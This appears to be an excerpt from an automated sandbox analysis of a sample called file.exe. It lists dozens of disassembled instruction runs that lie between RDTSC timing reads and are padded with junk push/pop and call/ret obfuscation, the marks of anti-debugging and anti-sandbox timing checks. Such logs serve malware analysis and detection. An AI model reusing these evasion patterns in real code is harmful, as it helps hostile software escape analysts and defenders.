Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED94F second address: 7ED955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED955 second address: 7ED95F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDE88D87896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE0A1 second address: 7EE0A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE151 second address: 7EE155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFAA5 second address: 7EFAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F020C second address: 7F0212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1224 second address: 7F122A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F122A second address: 7F129F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FDE88D87898h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov esi, dword ptr [ebp+122D2170h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FDE88D87898h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a jnl 00007FDE88D8789Bh 0x00000050 xchg eax, ebx 0x00000051 push edi 0x00000052 pushad 0x00000053 ja 00007FDE88D87896h 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1C78 second address: 7F1C93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FDE885210A6h 0x0000000d jnl 00007FDE885210A6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1C93 second address: 7F1C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDE88D87896h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F27AF second address: 7F27FE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e stc 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FDE885210A8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000000h 0x0000002d pushad 0x0000002e add si, AD05h 0x00000033 sub dword ptr [ebp+1246ECC8h], edx 0x00000039 popad 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FDE885210ADh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F27FE second address: 7F2804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2804 second address: 7F2811 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3C8F second address: 7F3CDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D3BC1h] 0x00000012 push 00000000h 0x00000014 movsx edi, ax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FDE88D87898h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3CDB second address: 7F3CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3CDF second address: 7F3CFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3CFC second address: 7F3D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDE885210A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F47BD second address: 7F47D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FDE88D878A8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FDE88D87896h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4570 second address: 7F4574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F47D4 second address: 7F47D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4574 second address: 7F4582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FDE885210ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F698E second address: 7F69C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FDE88D878A6h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F706E second address: 7F7072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7F8D second address: 7F7F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8F73 second address: 7F8F78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9F7D second address: 7F9F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE88D8789Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBA88 second address: 7FBA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7139 second address: 7F7171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FDE88D878A8h 0x0000000d pushad 0x0000000e jmp 00007FDE88D878A5h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9F94 second address: 7F9F9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBC1F second address: 7FBC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBC23 second address: 7FBC2D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC6F second address: 7FDC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBC2D second address: 7FBC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC73 second address: 7FDC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBC33 second address: 7FBC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBD33 second address: 7FBD38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBD38 second address: 7FBD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBD45 second address: 7FBD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB25 second address: 7FEB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB2B second address: 7FEB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB33 second address: 7FEBBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jno 00007FDE885210AEh 0x0000000f nop 0x00000010 jmp 00007FDE885210AFh 0x00000015 movzx edi, di 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D2290h], esi 0x00000020 push 00000000h 0x00000022 movzx ebx, si 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 pushad 0x00000028 push esi 0x00000029 pop esi 0x0000002a jmp 00007FDE885210B3h 0x0000002f popad 0x00000030 jns 00007FDE885210BDh 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FDE885210B4h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEBBA second address: 7FEBC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFA12 second address: 7FFA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802A2B second address: 802A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FDE88D878B0h 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FDE88D8789Bh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802F78 second address: 802F82 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803025 second address: 803037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FDE88D87896h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803037 second address: 80303B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806BCE second address: 806C03 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE88D8789Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FDE88D8789Dh 0x00000010 nop 0x00000011 sub ebx, dword ptr [ebp+122D57F9h] 0x00000017 push 00000000h 0x00000019 mov bh, 91h 0x0000001b push 00000000h 0x0000001d movzx edi, si 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 push eax 0x00000025 pop eax 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806C03 second address: 806C22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDE885210B3h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806C22 second address: 806C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800D10 second address: 800D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80319D second address: 8031A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8031A1 second address: 8031AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8031AE second address: 8031B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8031B5 second address: 8031CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE885210B5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8031CE second address: 803249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movsx ebx, di 0x0000000c push dword ptr fs:[00000000h] 0x00000013 add ebx, dword ptr [ebp+122D3A41h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FDE88D87898h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a mov eax, dword ptr [ebp+122D0E79h] 0x00000040 push 00000000h 0x00000042 push edx 0x00000043 call 00007FDE88D87898h 0x00000048 pop edx 0x00000049 mov dword ptr [esp+04h], edx 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc edx 0x00000056 push edx 0x00000057 ret 0x00000058 pop edx 0x00000059 ret 0x0000005a xor dword ptr [ebp+1247B417h], ebx 0x00000060 push FFFFFFFFh 0x00000062 movzx ebx, cx 0x00000065 push eax 0x00000066 pushad 0x00000067 je 00007FDE88D8789Ch 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8040F8 second address: 80410A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80410A second address: 80410E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80410E second address: 804114 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8041D1 second address: 8041F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007FDE88D87896h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FDE88D878A3h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8041F6 second address: 8041FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F3E second address: 805F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F43 second address: 805F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE885210A6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jg 00007FDE885210AEh 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D8F7 second address: 80D908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D8789Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA60 second address: 80DA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA64 second address: 80DA74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FDE88D8789Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA74 second address: 80DA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81393A second address: 813940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818F44 second address: 818F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE885210B9h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818F65 second address: 818F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6627 second address: 7B6645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDE885210B2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81841E second address: 818424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818424 second address: 81842A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818895 second address: 8188AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007FDE88D8789Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8188AD second address: 8188B7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE885210ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8188B7 second address: 8188C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDE88D878A2h 0x0000000a jnl 00007FDE88D87896h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818B23 second address: 818B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FDE885210B8h 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007FDE885210A6h 0x00000014 pop edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jnp 00007FDE885210C2h 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818B56 second address: 818B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818B5E second address: 818B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818B64 second address: 818B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E02F second address: 81E037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E037 second address: 81E054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D878A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E054 second address: 81E05A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DCEB second address: 81DD23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A8h 0x00000007 jp 00007FDE88D87896h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FDE88D8789Dh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EB64 second address: 81EB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F011 second address: 81F019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F019 second address: 81F032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE885210ABh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F032 second address: 81F036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F036 second address: 81F03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F03C second address: 81F04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE88D8789Ch 0x0000000b rdtsc
